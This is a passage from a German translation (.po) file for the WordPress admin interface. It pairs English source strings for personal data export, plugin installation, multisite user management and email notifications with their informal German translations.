wurde abgeschlossen. Du kannst deine personenbezogenen Daten durch Klick auf den Link unten herunterladen. Aus Gründen des Datenschutzes und der Sicherheit wird diese Datei am ###EXPIRATION### automatisch gelöscht. Lade sie also bitte vorher herunter.\n" "\n" "###LINK###\n" "\n" "Viele Grüße,\n" "von allen auf ###SITENAME###\n" "###SITEURL###" #. translators: Personal data export notification email subject. %s: Site #. title. #: wp-admin/includes/privacy-tools.php:616 msgid "[%s] Personal Data Export" msgstr "[%s] Export personenbezogener Daten" #: wp-admin/includes/privacy-tools.php:571 msgid "Invalid request ID when sending personal data export email." msgstr "Ungültige Anfrage-ID beim Senden der E-Mail für den Export personenbezogener Daten." #: wp-admin/includes/privacy-tools.php:544 msgid "Unable to open personal data export file (archive) for writing." msgstr "Die Exportdatei für den Benutzer-Datenschutz (Archiv) konnte nicht zum Schreiben geöffnet werden." #: wp-admin/includes/privacy-tools.php:523 msgid "Unable to archive the personal data export file (HTML format)." msgstr "Die Exportdatei (HTML-Format) mit personenbezogenen Daten kann nicht archiviert werden." #: wp-admin/includes/privacy-tools.php:519 msgid "Unable to archive the personal data export file (JSON format)." msgstr "Die Exportdatei (JSON-Format) mit personenbezogenen Daten kann nicht archiviert werden." #: wp-admin/includes/privacy-tools.php:445 msgid "Personal Data Export" msgstr "Export personenbezogener Daten" #: wp-admin/includes/privacy-tools.php:425 msgid "Unable to open personal data export (HTML report) for writing." msgstr "Die Exportdatei für den Benutzer-Datenschutz (HTML-Bericht) konnte nicht zum Schreiben geöffnet werden." #: wp-admin/includes/privacy-tools.php:410 msgid "Unable to open personal data export file (JSON report) for writing." msgstr "Die Exportdatei für den Benutzer-Datenschutz (JSON-Bericht) konnte nicht zum Schreiben geöffnet werden." #: wp-admin/includes/privacy-tools.php:389 msgctxt "date/time" msgid "On" msgstr "Am" #: wp-admin/includes/privacy-tools.php:385 msgctxt "website URL" msgid "At URL" msgstr "Auf URL" #: wp-admin/includes/privacy-tools.php:381 msgctxt "website name" msgid "For site" msgstr "Für Website" #: wp-admin/includes/privacy-tools.php:377 msgctxt "email address" msgid "Report generated for" msgstr "Bericht erstellt für" #. translators: Description for the About section in a personal data export. #: wp-admin/includes/privacy-tools.php:373 msgctxt "personal data group description" msgid "Overview of export report." msgstr "Übersicht über den Exportbericht." #. translators: Header for the About section in a personal data export. #: wp-admin/includes/privacy-tools.php:371 msgctxt "personal data group label" msgid "About" msgstr "Über" #. translators: %s: User's email address. #: wp-admin/includes/privacy-tools.php:361 msgid "Personal Data Export for %s" msgstr "Export personenbezogener Daten für %s" #: wp-admin/includes/privacy-tools.php:341 msgid "Unable to protect personal data export folder from browsing." msgstr "Der Exportordner für den Benutzer-Datenschutz konnte nicht vor dem Durchsuchen geschützt werden." #: wp-admin/includes/privacy-tools.php:333 msgid "Unable to create personal data export folder." msgstr "Der Exportordner für den Benutzer-Datenschutz konnte nicht erstellt werden." #: wp-admin/includes/privacy-tools.php:325 msgid "Invalid email address when generating personal data export file." msgstr "Ungültige E-Mail-Adresse bei der Erstellung der Exportdatei für den Benutzer-Datenschutz." #: wp-admin/includes/privacy-tools.php:319 msgid "Invalid request ID when generating personal data export file." msgstr "Ungültige Anfrage-ID bei der Erstellung der Exportdatei für den Benutzer-Datenschutz." #: wp-admin/includes/privacy-tools.php:312 msgid "Unable to generate personal data export file. ZipArchive not available." msgstr "Die Exportdatei für den Benutzer-Datenschutz konnte nicht erstellt werden. ZipArchive ist nicht verfügbar." #: wp-admin/includes/privacy-tools.php:294 msgid "Go to top" msgstr "Nach oben" #: wp-admin/includes/privacy-tools.php:173 msgid "Request added successfully." msgstr "Die Anfrage wurde erfolgreich hinzugefügt." #: wp-admin/includes/privacy-tools.php:171 msgid "Confirmation request initiated successfully." msgstr "Bestätigungs-Anfrage erfolgreich initiiert." #: wp-admin/includes/privacy-tools.php:155 msgid "Unable to initiate confirmation request." msgstr "Kann Bestätigungs-Anfrage nicht initiieren." #: wp-admin/includes/privacy-tools.php:135 msgid "Unable to add this request. A valid email address or username must be supplied." msgstr "Kann diese Anfrage nicht hinzufügen. Eine gültige E-Mail-Adresse oder Benutzername muss angegeben werden." #: wp-admin/includes/privacy-tools.php:107 #: wp-admin/includes/privacy-tools.php:124 msgid "Invalid personal data action." msgstr "Ungültige personenbezogene Daten-Aktion." #: wp-admin/includes/privacy-tools.php:91 msgid "Confirmation request sent again successfully." msgstr "Bestätigungs-Anfrage erfolgreich erneut versendet." #: wp-admin/includes/privacy-tools.php:31 msgid "Unable to initiate confirmation for personal data request." msgstr "Eine Bestätigung der Anfrage nach personenbezogenen Daten kann nicht initiiert werden." #: wp-admin/includes/post.php:2213 msgctxt "block category" msgid "Reusable Blocks" msgstr "Wiederverwendbare Blöcke" #: wp-admin/includes/post.php:2208 msgctxt "block category" msgid "Embeds" msgstr "Einbettungen" #: wp-admin/includes/post.php:2203 msgctxt "block category" msgid "Widgets" msgstr "Widgets" #: wp-admin/includes/post.php:2198 msgctxt "block category" msgid "Design" msgstr "Design" #: wp-admin/includes/post.php:2193 msgctxt "block category" msgid "Media" msgstr "Medien" #: wp-admin/includes/post.php:2188 msgctxt "block category" msgid "Text" msgstr "Text" #: wp-admin/includes/post.php:1788 msgid "Your latest changes were saved as a revision." msgstr "Deine letzten Änderungen wurden als Revision gespeichert." #: wp-admin/includes/post.php:1787 msgid "Saving revision…" msgstr "Speichere Revision …" #. translators: %s: User's display name. #: wp-admin/includes/post.php:1747 msgid "%s is currently editing this post." msgstr "%s bearbeitet diesen Beitrag bereits." #. translators: %s: User's display name. #: wp-admin/includes/post.php:1744 msgid "%s is currently editing this post. Do you want to take over?" msgstr "%s bearbeitet diesen Beitrag bereits. Möchtest du übernehmen?" #: wp-admin/includes/post.php:1562 msgid "Click the image to edit or update" msgstr "Bild zum Bearbeiten oder Ändern anklicken." #: wp-admin/includes/post.php:1489 msgid "Edit permalink" msgstr "Permalink bearbeiten" #: wp-admin/includes/post.php:1474 msgid "Change Permalinks" msgstr "Permalinks ändern" #: wp-admin/includes/post.php:1461 wp-admin/includes/post.php:1486 msgid "Permalink:" msgstr "Permalink:" #: wp-admin/includes/post.php:829 msgid "Sorry, you are not allowed to create posts or drafts on this site." msgstr "Du bist leider nicht berechtigt, Beiträge oder Entwürfe für diese Website zu erstellen." #: wp-admin/includes/post.php:827 msgid "Sorry, you are not allowed to create pages on this site." msgstr "Du bist leider nicht berechtigt, Seiten für diese Website zu erstellen." #: wp-admin/includes/post.php:685 msgid "Auto Draft" msgstr "Automatisch gespeicherter Entwurf" #: wp-admin/includes/post.php:36 wp-admin/includes/post.php:81 msgid "Sorry, you are not allowed to edit posts as this user." msgstr "Du bist leider nicht berechtigt, als dieser Benutzer Beiträge zu bearbeiten." #: wp-admin/includes/post.php:34 wp-admin/includes/post.php:79 msgid "Sorry, you are not allowed to edit pages as this user." msgstr "Du bist leider nicht berechtigt, als dieser Benutzer Seiten zu bearbeiten." #: wp-admin/includes/plugin.php:2487 msgid "Go to the Plugins screen" msgstr "Zur Plugins-Ansicht wechseln" #: wp-admin/includes/plugin.php:2485 msgid "You can find more details and make changes on the Plugins screen." msgstr "Mehr Details und Änderungsoptionen auf der Plugin-Übersichtsseite." #: wp-admin/includes/plugin.php:2484 msgid "One or more plugins failed to load properly." msgstr "Mindestens ein Plugin konnte nicht geladen werden." #: wp-admin/includes/plugin.php:2455 msgid "Could not resume the plugin." msgstr "Das Plugin konnte nicht wiederhergestellt werden." #. translators: %s: admin_init #: wp-admin/includes/plugin.php:2346 msgid "The suggested privacy policy content should be added by using the %s (or later) action. Please see the inline documentation." msgstr "Der vorgeschlagene Inhalt der Datenschutzerklärung sollte mit der %s-Aktion (oder später) hinzugefügt werden. Bitte lies die Inline-Dokumentation." #. translators: %s: admin_init #: wp-admin/includes/plugin.php:2335 msgid "The suggested privacy policy content should be added only in wp-admin by using the %s (or later) action." msgstr "Der vorgeschlagene Inhalt der Datenschutzerklärung sollte nur in wp-admin mit der %s-Aktion (oder später) hinzugefügt werden." #. translators: %s: add_submenu_page() #: wp-admin/includes/plugin.php:1435 msgid "The seventh parameter passed to %s should be an integer representing menu position." msgstr "Der siebte Parameter, der an %s übergeben wird, sollte ein ganzzahliger Wert sein, der eine Menüposition repräsentiert." #. translators: 1: Current WordPress version, 2: Plugin name, 3: Required #. WordPress version. #: wp-admin/includes/plugin.php:1196 msgctxt "plugin" msgid "<strong>Error:</strong> Current WordPress version (%1$s) does not meet minimum requirements for %2$s. The plugin requires WordPress %3$s." msgstr "<strong>Fehler:</strong> Die aktuelle WordPress-Version (%1$s) entspricht nicht den Mindestanforderungen für %2$s. Das Plugin benötigt WordPress %3$s." #. translators: 1: Current PHP version, 2: Plugin name, 3: Required PHP #. version. #: wp-admin/includes/plugin.php:1185 msgctxt "plugin" msgid "<strong>Error:</strong> Current PHP version (%1$s) does not meet minimum requirements for %2$s. The plugin requires PHP %3$s." msgstr "<strong>Fehler:</strong> Die aktuelle PHP-Version (%1$s) entspricht nicht den Mindestanforderungen für %2$s. Das Plugin benötigt PHP %3$s." #. translators: 1: Current WordPress version, 2: Current PHP version, 3: Plugin #. name, 4: Required WordPress version, 5: Required PHP version. #: wp-admin/includes/plugin.php:1172 msgctxt "plugin" msgid "<strong>Error:</strong> Current versions of WordPress (%1$s) and PHP (%2$s) do not meet minimum requirements for %3$s. The plugin requires WordPress %4$s and PHP %5$s." msgstr "<strong>Fehler:</strong> Die aktuellen Versionen von WordPress (%1$s) und PHP (%2$s) entsprechen nicht den Mindestanforderungen für %3$s. Das Plugin benötigt WordPress %4$s und PHP %5$s." #: wp-admin/includes/plugin.php:1108 msgid "The plugin does not have a valid header." msgstr "Das Plugin hat keinen validen Header." #: wp-admin/includes/plugin.php:1103 msgid "Plugin file does not exist." msgstr "Diese Plugindatei existiert nicht." #: wp-admin/includes/plugin.php:1100 msgid "Invalid plugin path." msgstr "Ungültiger Pfad zum Plugin." #. translators: %s: Comma-separated list of plugin filenames. #: wp-admin/includes/plugin.php:1040 msgid "Could not fully remove the plugins %s." msgstr "Die Plugins %s konnten nicht vollständig entfernt werden." #. translators: %s: Plugin filename. #: wp-admin/includes/plugin.php:1037 msgid "Could not fully remove the plugin %s." msgstr "Das Plugin %s konnte nicht vollständig entfernt werden." #: wp-admin/includes/plugin.php:883 msgid "One of the plugins is invalid." msgstr "Eines der Plugins ist ungültig." #: wp-admin/includes/plugin.php:733 msgid "The plugin generated unexpected output." msgstr "Das Plugin hat eine unerwartete Ausgabe erzeugt." #: wp-admin/includes/plugin.php:508 msgid "Custom site suspended message." msgstr "Individueller Hinweistext bei deaktivierter Website." #: wp-admin/includes/plugin.php:507 msgid "Custom site inactive message." msgstr "Individueller Hinweistext bei inaktiver Website." #: wp-admin/includes/plugin.php:506 msgid "Custom site deleted message." msgstr "Individueller Hinweistext bei gelöschter Website." #: wp-admin/includes/plugin.php:505 msgid "Executed before Multisite is loaded." msgstr "Wird ausgeführt, bevor das Netzwerk geladen wird." #: wp-admin/includes/plugin.php:501 msgid "Custom PHP fatal error handler." msgstr "Individueller PHP-fatal-error-handler." #: wp-admin/includes/plugin.php:500 msgid "Custom PHP error message." msgstr "Individuelle PHP-Fehlermeldung." #: wp-admin/includes/plugin.php:499 msgid "External object cache." msgstr "Externer Objekt-Cache." #: wp-admin/includes/plugin.php:498 msgid "Custom maintenance message." msgstr "Individuelle Wartungsmodus-Nachricht." #: wp-admin/includes/plugin.php:497 msgid "Custom installation script." msgstr "Individuelles Installationsskript." #: wp-admin/includes/plugin.php:496 msgid "Custom database error message." msgstr "Individuelle Datenbank-Fehlermeldung." #: wp-admin/includes/plugin.php:495 msgid "Custom database class." msgstr "Individuelle Datenbankklasse." #: wp-admin/includes/plugin.php:494 msgid "Advanced caching plugin." msgstr "Erweitertes Caching-Plugin." #. translators: %s: Plugin author. #: wp-admin/includes/plugin.php:214 msgid "By %s." msgstr "Von %s." #. translators: 1: Site Wide Only: true, 2: Network: true #: wp-admin/includes/plugin.php:91 msgid "The %1$s plugin header is deprecated. Use %2$s instead." msgstr "Der Plugin-Header %1$s ist veraltet. Verwende stattdessen %2$s." #: wp-admin/includes/plugin-install.php:886 msgid "Latest Version Installed" msgstr "Aktuelle Version installiert" #. translators: %s: Plugin version. #: wp-admin/includes/plugin-install.php:883 msgid "Newer Version (%s) Installed" msgstr "Aktuellere Version (%s) installiert" #: wp-admin/includes/plugin-install.php:872 msgid "Install Update Now" msgstr "Update jetzt installieren" #. translators: %s: URL to WordPress Updates screen. #: wp-admin/includes/plugin-install.php:831 msgid "<a href=\"%s\" target=\"_parent\">Click here to update WordPress</a>." msgstr "<a href=\"%s\" target=\"_parent\">Klick hier, um WordPress</a> zu aktualisieren." #: wp-admin/includes/plugin-install.php:827 msgid "<strong>Error:</strong> This plugin <strong>requires a newer version of WordPress</strong>." msgstr "<strong>Fehler: </strong>Dieses Plugin<strong> benötigt eine neuere Version von WordPress</strong>." #: wp-admin/includes/plugin-install.php:823 msgid "<strong>Warning:</strong> This plugin <strong>has not been tested</strong> with your current version of WordPress." msgstr "<strong>Achtung:</strong> Dieses Plugin wurde <strong>nicht</strong> mit deiner aktuellen WordPress-Version getestet." #. translators: %s: URL to Update PHP page. #: wp-admin/includes/plugin-install.php:810 msgid "<a href=\"%s\" target=\"_blank\">Click here to learn more about updating PHP</a>." msgstr "<a href=\"%s\" target=\"_blank\">Klick hier, um mehr über die Aktualisierung von PHP</a> zu erfahren." #: wp-admin/includes/plugin-install.php:806 msgid "<strong>Error:</strong> This plugin <strong>requires a newer version of PHP</strong>." msgstr "<strong>Fehler: </strong>Dieses Plugin<strong> benötigt eine neuere Version von PHP</strong>." #: wp-admin/includes/plugin-install.php:773 msgid "Contributors" msgstr "Mitwirkende" #. translators: %s: Number of stars. #: wp-admin/includes/plugin-install.php:759 msgid "%d star" msgid_plural "%d stars" msgstr[0] "%d Stern" msgstr[1] "%d Sterne" #. translators: 1: Number of stars (used to determine singular/plural), 2: #. Number of reviews. #: wp-admin/includes/plugin-install.php:741 msgid "Reviews with %1$d star: %2$s. Opens in a new tab." msgid_plural "Reviews with %1$d stars: %2$s. Opens in a new tab." msgstr[0] "Bewertungen mit %1$d Stern: %2$s. Wird in neuem Tab geöffnet." msgstr[1] "Bewertungen mit %1$d Sternen: %2$s. Wird in neuem Tab geöffnet." #: wp-admin/includes/plugin-install.php:733 msgid "Read all reviews on WordPress.org or write your own!" msgstr "Lies alle Bewertungen auf WordPress.org oder schreib deine Eigene!" #: wp-admin/includes/plugin-install.php:732 msgid "Reviews" msgstr "Bewertungen" #. translators: %s: Number of ratings. #: wp-admin/includes/plugin-install.php:722 msgid "(based on %s rating)" msgid_plural "(based on %s ratings)" msgstr[0] "(basierend auf %s Abstimmung)" msgstr[1] "(basierend auf %s Abstimmungen)" #: wp-admin/includes/plugin-install.php:708 msgid "Average Rating" msgstr "Durchschnittliche Bewertung" #: wp-admin/includes/plugin-install.php:704 #: wp-admin/includes/plugin-install.php:791 msgid "Donate to this plugin »" msgstr "Für dieses Plugin spenden »" #: wp-admin/includes/plugin-install.php:702 msgid "Plugin Homepage »" msgstr "Plugin-Homepage »" #: wp-admin/includes/plugin-install.php:700 msgid "WordPress.org Plugin Page »" msgstr "WordPress.org-Plugin-Seite »" #: wp-admin/includes/plugin-install.php:683 msgid "Active Installations:" msgstr "Aktive Installationen:" #: wp-admin/includes/plugin-install.php:676 msgid "Requires PHP Version:" msgstr "Erforderliche PHP-Version:" #: wp-admin/includes/plugin-install.php:673 msgid "Compatible up to:" msgstr "Kompatibel bis zu:" #. translators: %s: Version number. #: wp-admin/includes/plugin-install.php:669 #: wp-admin/includes/plugin-install.php:679 msgid "%s or higher" msgstr "%s oder höher" #: wp-admin/includes/plugin-install.php:666 msgid "Requires WordPress Version:" msgstr "Erforderliche WordPress-Version:" #: wp-admin/includes/plugin-install.php:598 wp-admin/update.php:126 msgid "Plugin Installation" msgstr "Plugin-Installation" #: wp-admin/includes/plugin-install.php:575 msgctxt "Plugin installer section title" msgid "Other Notes" msgstr "Weitere Bemerkungen" #: wp-admin/includes/plugin-install.php:574 msgctxt "Plugin installer section title" msgid "Reviews" msgstr "Bewertungen" #: wp-admin/includes/plugin-install.php:573 msgctxt "Plugin installer section title" msgid "Changelog" msgstr "Änderungsprotokoll" #: wp-admin/includes/plugin-install.php:572 msgctxt "Plugin installer section title" msgid "Screenshots" msgstr "Screenshots" #: wp-admin/includes/plugin-install.php:571 msgctxt "Plugin installer section title" msgid "FAQ" msgstr "FAQ" #: wp-admin/includes/plugin-install.php:570 msgctxt "Plugin installer section title" msgid "Installation" msgstr "Installation" #: wp-admin/includes/plugin-install.php:569 msgctxt "Plugin installer section title" msgid "Description" msgstr "Beschreibung" #. translators: %s: URL to "Features as Plugins" page. #: wp-admin/includes/plugin-install.php:407 msgid "You are using a development version of WordPress. These feature plugins are also under development. <a href=\"%s\">Learn more</a>." msgstr "Du benutzt eine Entwicklungsversion von WordPress. Diese Feature-Plugins sind ebenfalls in der Entwicklung. <a href=\"%s\">Erfahre mehr (engl.)</a>." #: wp-admin/includes/plugin-install.php:402 msgid "These suggestions are based on the plugins you and other users have installed." msgstr "Diese Empfehlungen basieren auf Plugins, welche du und andere Anwender installiert haben." #: wp-admin/includes/plugin-install.php:378 wp-admin/theme-install.php:202 msgid "Get Favorites" msgstr "Favoriten auflisten" #: wp-admin/includes/plugin-install.php:376 wp-admin/theme-install.php:199 msgid "Your WordPress.org username:" msgstr "Benutzername bei WordPress.org:" #: wp-admin/includes/plugin-install.php:372 msgid "If you have marked plugins as favorites on WordPress.org, you can browse them here." msgstr "Falls du (oder ein anderes Mitglied) Plugins auf WordPress.org als Favoriten markiert hast, kannst du sie hier durchsuchen." #: wp-admin/includes/plugin-install.php:355 msgid "Plugin zip file" msgstr "ZIP-Datei des Plugins" #: wp-admin/includes/plugin-install.php:352 msgid "If you have a plugin in a .zip format, you may install or update it by uploading it here." msgstr "Wenn du ein Plugin im .zip-Format hast, kannst du es hier hochladen, um es zu installieren oder aktualisieren." #: wp-admin/includes/plugin-install.php:338 msgid "Search plugins..." msgstr "Plugins durchsuchen ..." #: wp-admin/includes/plugin-install.php:337 #: wp-admin/includes/plugin-install.php:339 msgid "Search Plugins" msgstr "Plugins suchen" #: wp-admin/includes/plugin-install.php:335 msgctxt "Plugin Installer" msgid "Tag" msgstr "Schlagwort" #: wp-admin/includes/plugin-install.php:333 #: wp-admin/includes/theme-install.php:103 msgid "Keyword" msgstr "Stichwort" #: wp-admin/includes/plugin-install.php:331 msgid "Search plugins by:" msgstr "Suche Plugins nach:" #. translators: %s: Number of plugins. #: wp-admin/includes/plugin-install.php:310 msgid "%s plugins" msgstr "%s Plugins" #. translators: %s: Number of plugins. #: wp-admin/includes/plugin-install.php:308 msgid "%s plugin" msgstr "%s Plugin" #: wp-admin/includes/plugin-install.php:282 msgid "You may also browse based on the most popular tags in the Plugin Directory:" msgstr "Du kannst das Plugin-Verzeichnis auch, sondiert nach den beliebtesten Schlagwörtern, durchsuchen:" #: wp-admin/includes/plugin-install.php:281 msgid "Popular tags" msgstr "Populäre Schlagwörter" #. translators: %s: https://wordpress.org/plugins #: wp-admin/includes/plugin-install.php:272 msgid "Plugins extend and expand the functionality of WordPress. You may automatically install plugins from the <a href=\"%s\">WordPress Plugin Directory</a> or upload a plugin in .zip format by clicking the button at the top of this page." msgstr "Plugins erweitern die Funktionalität von WordPress. Du kannst Plugins automatisch vom <a href=\"%s\">WordPress-Plugin-Verzeichnis</a> installieren oder ein Plugin im .zip-Format durch Klicken des Buttons oben auf dieser Seite hochladen." #: wp-admin/includes/options.php:133 msgid "The <a href=\"https://wordpress.org/support/article/glossary/#character-set\">character encoding</a> of your site (UTF-8 is recommended)" msgstr "Die <a href=\"https://wordpress.org/support/article/glossary/#character-set\">Zeichenkodierung (engl.)</a> deiner Website (UTF-8 wird empfohlen)" #. translators: %s: Nav menu title. #: wp-admin/includes/nav-menu.php:1243 msgid "%s has been updated." msgstr "%s wurde aktualisiert." #: wp-admin/includes/nav-menu.php:1105 msgid "Link Target" msgstr "Linkziel" #: wp-admin/includes/nav-menu.php:1103 msgid "Show advanced menu properties" msgstr "Erweiterte Menüeigenschaften anzeigen" #: wp-admin/includes/nav-menu.php:1081 msgid "There are some invalid menu items. Please check or delete them." msgstr "Es gibt ein paar ungültige Menüeinträge. Bitte überprüfe oder lösche diese." #: wp-admin/includes/nav-menu.php:1077 msgid "Click Save Menu to make pending menu items public." msgstr "Klicke auf Menü speichern, damit gemachte Änderungen übernommen werden." #. translators: %s: Walker class name. #: wp-admin/includes/nav-menu.php:1059 msgid "The Walker class named %s does not exist." msgstr "Es gibt keine Walker-Klasse mit der Bezeichnung %s." #: wp-admin/includes/nav-menu.php:1035 msgid "Add menu items from the column on the left." msgstr "Füge Menüeinträge aus der linken Spalte hinzu." #: wp-admin/includes/nav-menu.php:518 wp-admin/includes/nav-menu.php:804 msgid "View All" msgstr "Alle anzeigen" #: wp-admin/includes/nav-menu.php:513 wp-admin/includes/nav-menu.php:528 msgid "Most Recent" msgstr "Zuletzt erstellt" #: wp-admin/includes/nav-menu.php:465 wp-admin/includes/nav-menu.php:751 msgid "Page" msgstr "Seite" #: wp-admin/includes/nav-menu.php:443 wp-admin/includes/nav-menu.php:722 msgid "No items." msgstr "Keine Elemente." #: wp-admin/includes/ms.php:1161 wp-admin/network/index.php:56 #: wp-admin/network/site-new.php:33 wp-admin/network/sites.php:46 #: wp-admin/network/user-new.php:30 wp-admin/network/users.php:231 msgid "<a href=\"https://wordpress.org/support/forum/multisite/\">Support Forums</a>" msgstr "<a href=\"https://wordpress.org/support/forum/multisite/\">Support-Foren</a>" #: wp-admin/includes/ms.php:1160 wp-admin/network/site-new.php:32 #: wp-admin/network/sites.php:45 msgid "<a href=\"https://wordpress.org/support/article/network-admin-sites-screen/\">Documentation on Site Management</a>" msgstr "<a href=\"https://wordpress.org/support/article/network-admin-sites-screen/\">Dokumentation zur Netzwerkverwaltung (engl.)</a>" #: wp-admin/includes/ms.php:1147 msgid "<strong>Settings</strong> — This page shows a list of all settings associated with this site. Some are created by WordPress and others are created by plugins you activate. Note that some fields are grayed out and say Serialized Data. You cannot modify these values due to the way the setting is stored in the database." msgstr "<strong>Einstellungen</strong> – Diese Seite zeigt eine Liste aller Einstellungen, die mit dieser Website verknüpft sind. Einige werden von WordPress und andere werden von Plugins, die du aktiviert hast, erstellt. Beachte, dass einige Felder ausgegraut sind und „SERIALIZED DATA“ beinhalten. Du kannst diese Werte, aufgrund der Art und Weise, wie sie in der Datenbank gespeichert sind, nicht ändern." #. translators: %s: URL to Network Themes screen. #: wp-admin/includes/ms.php:1144 msgid "<strong>Themes</strong> — This area shows themes that are not already enabled across the network. Enabling a theme in this menu makes it accessible to this site. It does not activate the theme, but allows it to show in the site’s Appearance menu. To enable a theme for the entire network, see the <a href=\"%s\">Network Themes</a> screen." msgstr "<strong>Themes</strong> – Dieser Bereich zeigt Themes, die noch nicht netzwerkweit aktiviert sind. Die Aktivierung eines Themes in diesem Menü macht es für diese Website zugänglich. Es aktiviert nicht das Theme, sondern ermöglicht, es im Menü der Website unter Design anzuzeigen. Um ein Theme für das gesamte Netzwerk zu aktivieren, nutze die <a href=\"%s\">Netzwerk-Themes</a>-Ansicht." #: wp-admin/includes/ms.php:1141 msgid "<strong>Users</strong> — This displays the users associated with this site. You can also change their role, reset their password, or remove them from the site. Removing the user from the site does not remove the user from the network." msgstr "<strong>Benutzer</strong> – Hier werden die mit dieser Website verknüpften Benutzer angezeigt. Du kannst auch ihre Rolle ändern, ihr Passwort zurücksetzen oder sie von der Website entfernen. Das Entfernen des Benutzers von der Website entfernt ihn jedoch nicht aus dem Netzwerk." #: wp-admin/includes/ms.php:1140 msgid "<strong>Info</strong> — The site URL is rarely edited as this can cause the site to not work properly. The Registered date and Last Updated date are displayed. Network admins can mark a site as archived, spam, deleted and mature, to remove from public listings or disable." msgstr "<strong>Info</strong> – Die URL einer Website wird selten verändert, denn das kann verursachen, dass die Website nicht mehr funktioniert. Das Registrierungsdatum und das Datum der letzten Änderung werden angezeigt. Netzwerk-Administratoren können eine Website als archiviert, Spam, gelöscht und nicht jugendfrei markieren, um diese aus öffentlichen Listen zu entfernen oder zu deaktivieren." #: wp-admin/includes/ms.php:1139 msgid "The menu is for editing information specific to individual sites, particularly if the admin area of a site is unavailable." msgstr "Das Menü dient der Bearbeitung bestimmter Informationen individueller Websites, besonders, wenn der Administrator-Bereich einer Website nicht verfügbar ist." #: wp-admin/includes/ms.php:1056 msgid "Info" msgstr "Info" #: wp-admin/includes/ms.php:987 wp-admin/users.php:389 msgid "Confirm Deletion" msgstr "Löschen bestätigen" #: wp-admin/includes/ms.php:983 msgid "Once you hit “Confirm Deletion”, these users will be permanently removed." msgstr "Sobald du „Löschen bestätigen“ klickst, werden diese Benutzer endgültig entfernt." #: wp-admin/includes/ms.php:981 msgid "Once you hit “Confirm Deletion”, the user will be permanently removed." msgstr "Sobald du „Löschen bestätigen“ klickst, wird der Benutzer endgültig entfernt." #: wp-admin/includes/ms.php:966 msgid "User has no sites or content and will be deleted." msgstr "Der Benutzer hat keine Website oder Inhalte und wird gelöscht." #: wp-admin/includes/ms.php:957 wp-admin/users.php:364 msgid "Attribute all content to:" msgstr "Diesem Benutzer den gesamten Inhalt zuordnen:" #: wp-admin/includes/ms.php:955 wp-admin/users.php:361 msgid "Delete all content." msgstr "Den gesamten Inhalt löschen." #. translators: %s: Link to user's site. #: wp-admin/includes/ms.php:951 msgid "Site: %s" msgstr "Website: %s" #: wp-admin/includes/ms.php:930 msgid "Select a user" msgstr "Wähle einen Benutzer" #. translators: %s: User login. #: wp-admin/includes/ms.php:914 msgid "What should be done with content owned by %s?" msgstr "Was soll mit dem Inhalt passieren, der %s gehört?" #. translators: %s: User login. #: wp-admin/includes/ms.php:895 msgid "Warning! User cannot be deleted. The user %s is a network administrator." msgstr "Warnung! Benutzer kann nicht gelöscht werden. Der Benutzer %s ist ein Netzwerk-Administrator." #. translators: %s: User login. #: wp-admin/includes/ms.php:885 msgid "Warning! User %s cannot be deleted." msgstr "Warnung! Benutzer %s kann nicht gelöscht werden." #: wp-admin/includes/ms.php:864 msgid "You have chosen to delete the following users from all networks and sites." msgstr "Du hast ausgewählt, die folgenden Benutzer aus allen Netzwerken und Websites zu löschen." #: wp-admin/includes/ms.php:862 msgid "You have chosen to delete the user from all networks and sites." msgstr "Du hast ausgewählt, den Benutzer aus allen Netzwerken und Websites zu löschen." #. translators: My Sites label. #: wp-admin/includes/ms.php:765 msgid "Primary Site" msgstr "Primäre Website" #. translators: %s: URL to Upgrade Network screen. #: wp-admin/includes/ms.php:708 msgid "Thank you for Updating! Please visit the <a href=\"%s\">Upgrade Network</a> page to update all your sites." msgstr "Vielen Dank für die Aktualisierung! Bitte besuche die Seite <a href=\"%s\">Netzwerk aktualisieren</a>, um alle Websites zu aktualisieren." #: wp-admin/includes/ms.php:655 msgid "British English" msgstr "Britisches Englisch" #: wp-admin/includes/ms.php:651 msgid "American English" msgstr "Amerikanisches Englisch" #: wp-admin/includes/ms.php:608 msgid "View Site" msgstr "Website anzeigen" #: wp-admin/includes/ms.php:607 msgid "Visit Dashboard" msgstr "Zum Dashboard" #: wp-admin/includes/ms.php:601 msgid "Your Sites" msgstr "Deine Websites" #: wp-admin/includes/ms.php:599 msgid "If you reached this screen by accident and meant to visit one of your own sites, here are some shortcuts to help you find your way." msgstr "Falls du diese Ansicht aus Versehen aufgerufen hast und eigentlich eine deiner eigenen Websites besuchen wolltest, hier ein paar hoffentlich hilfreiche Links." #. translators: 1: Site title. #: wp-admin/includes/ms.php:587 wp-admin/includes/ms.php:596 msgid "You attempted to access the \"%1$s\" dashboard, but you do not currently have privileges on this site. If you believe you should be able to access the \"%1$s\" dashboard, please contact your network administrator." msgstr "Du hast versucht, auf das „%1$s“ Dashboard zuzugreifen, hast dazu aber nicht ausreichende Rechte. Falls du glaubst, du müsstest Zugriff auf das „%1$s“ Dashboard haben, dann kontaktiere bitte den Netzwerk-Administrator." #: wp-admin/includes/ms.php:302 msgid "MB (Leave blank for network default)" msgstr "MB (Leer lassen für Netzwerk-Standardwert)" #: wp-admin/includes/ms.php:302 wp-admin/network/settings.php:386 msgid "Size in megabytes" msgstr "Größe in Megabyte" #: wp-admin/includes/ms.php:299 msgid "Site Upload Space Quota" msgstr "Speicher-Quota für Uploads der Website" #. translators: Storage space that's been used. 1: Percentage of used space, 2: #. Total space allowed in megabytes or gigabytes. #: wp-admin/includes/ms.php:259 msgid "Used: %1$s%% of %2$s" msgstr "Verwendet: %1$s %% von %2$s" #. translators: %s: Page title. #: wp-admin/includes/misc.php:1435 msgid "%s (Draft)" msgstr "%s (Entwurf)" #. translators: New admin email address notification email subject. %s: Site #. title. #: wp-admin/includes/misc.php:1410 msgid "[%s] New Admin Email Address" msgstr "[%s] Neue Administrator-E-Mail-Adresse" #. translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: #. those are placeholders. #: wp-admin/includes/misc.php:1357 msgid "" "Howdy ###USERNAME###,\n" "\n" "You recently requested to have the administration email address on\n" "your site changed.\n" "\n" "If this is correct, please click on the following link to change it:\n" "###ADMIN_URL###\n" "\n" "You can safely ignore and delete this email if you do not want to\n" "take this action.\n" "\n" "This email has been sent to ###EMAIL###\n" "\n" "Regards,\n" "All at ###SITENAME###\n" "###SITEURL###" msgstr "" "Hallo ###USERNAME###,\n" "\n" "du hast vor kurzem eine Änderung der E-Mail-Adresse des Administrators deiner Website angefordert.\n" "\n" "Wenn das richtig ist, klicke bitte zum Ändern auf den folgenden Link:\n" 